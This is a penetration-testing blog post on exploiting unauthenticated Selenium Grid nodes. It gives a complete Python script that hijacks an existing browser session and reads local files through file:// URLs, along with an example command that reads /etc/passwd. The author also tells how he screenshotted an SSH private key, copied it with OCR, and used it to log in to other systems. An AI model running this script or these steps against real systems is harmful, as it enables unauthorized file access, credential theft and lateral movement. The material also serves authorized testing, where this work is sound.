Read Files with Selenium Grid Nodes
date
Jun 28, 2020
slug
selenium-grid
status
Published
tags
Selenium Grid
summary
Utilizing Selenium Grid nodes to read local files from the browser.
type
Post
Table of Contents
Selenium Grid
Recently on a pentest I had the chance to play around with Selenium Grid and its attached Nodes. Selenium Grid is a platform used for running browser tests in parallel and it is typically paired with Jenkins. Selenium Grid has nodes attached that can create browser sessions for these tests. This platform does not support authentication, therefore, if you find these platforms during a pentest, you can take advantage of their capabilities.
List Selenium Node Sessions
On the Selenium Grid host, you can list out all the Nodes attached to the Grid host and their respective browser sessions. Through the “/grid/api/sessions” endpoint, you can view these sessions. You can choose to reuse any of these sessions or create a new browser session. By reusing these sessions, you can take screenshots of folders or files as the respective user that is running the Selenium Node.
Reusing Selenium Node Browser Sessions
Through the web interface of any Selenium Node, you can create a browser session.
With an active SessionID, you can use the script below to reuse a browser session to visit or view any file on the local system. The script is also located in my GitHub repo.
import argparse
from selenium import webdriver
def create_driver_session(session_id, executor_url):
from selenium.webdriver.remote.webdriver import WebDriver as RemoteWebDriver
# Save the original function, so we can revert our patch
org_command_execute = RemoteWebDriver.execute
def new_command_execute(self, command, params=None):
if command == "newSession":
# Mock the response
return {'success': 0, 'value': None, 'sessionId': session_id}
# Patch the function before creating the driver object
RemoteWebDriver.execute = new_command_execute
new_driver = webdriver.Remote(command_executor=executor_url, desired_capabilities={})
new_driver.session_id = session_id
# Replace the patched function with original function
RemoteWebDriver.execute = org_command_execute
return new_driver
if __name__ == "__main__":
Parser = argparse.ArgumentParser()
Parser.add_argument('-u', '--url', help='Target URL')
Parser.add_argument('-s', '--sessionid', help='Session ID from Selenium Hub session.')
Parser.add_argument('-f', '--file', help='File to read')
args = Parser.parse_args()
if args.url is None:
print('Specify a URL')
Parser.print_help()
exit(1)
if args.sessionid is None:
print('Specify a Session ID')
Parser.print_help()
exit (1)
if args.file is None:
args.file = '/'
grid_url = args.url
sessionid = args.sessionid
payload = args.file
driver_chrome_reuse = create_driver_session(sessionid, grid_url)
driver_chrome_reuse.get('file://' + payload)
Example usage of the script:
python3 node-fileread.py -u 'http://localhost:4444/wd/hub' -s 872de14392f18a99a2298c4a1d732743 -f '/etc/passwd'
After you execute the script, visit the Node web interface and view the screenshot of the file. These sessions may be running as a privileged user so you may have access to important files. For example, you can take a screenshot of SSH private keys or configuration files with credentials. Below is a screenshot of the Selenium Node web interface after reading the “/” directory.
Conclusion
In my case, I took a screenshot of an SSH private key, used OCR to copy the text in the screenshot and reused the SSH key to authenticate to other systems. Luckily for me, the SSH key did not require a passphrase.
This is not something I routinely look for or frequently encounter on internal pentests, however, if you do encounter Selenium Grid it can be a potential attack path to a domain user if Responder or MiTM6 are not successful in your environment.